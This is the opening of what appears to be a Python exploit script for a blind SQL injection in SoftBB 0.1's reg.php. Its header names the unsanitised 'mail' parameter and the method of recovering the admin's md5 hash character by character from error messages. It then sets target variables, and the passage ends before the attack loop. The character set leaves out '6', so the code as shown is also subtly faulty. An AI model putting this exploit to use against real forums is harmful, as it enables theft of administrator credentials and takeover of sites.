# Vulnerability info
# Product : SoftBB
# Version : 0.1
#
# The field 'mail' in reg.php is used directly in a SQL query :
# $sql = 'SELECT pseudo,mail FROM '.$prefixtable.'membres WHERE pseudo = "'.add_gpc($pseudoreg).'" OR mail = "'.$mail.'"';
# We can deduce deduce the result of some sql querys according to the error messages returned
# The exploit test the characters of the md5 hash one by one using a special query
import httplib, urllib

# Change the following values...
admin="admin"
server="localhost"
path="/forum"
#
hash=""
chars=('a','b','c','d','e','f','1','2','3','4','5','7','8','9','0')
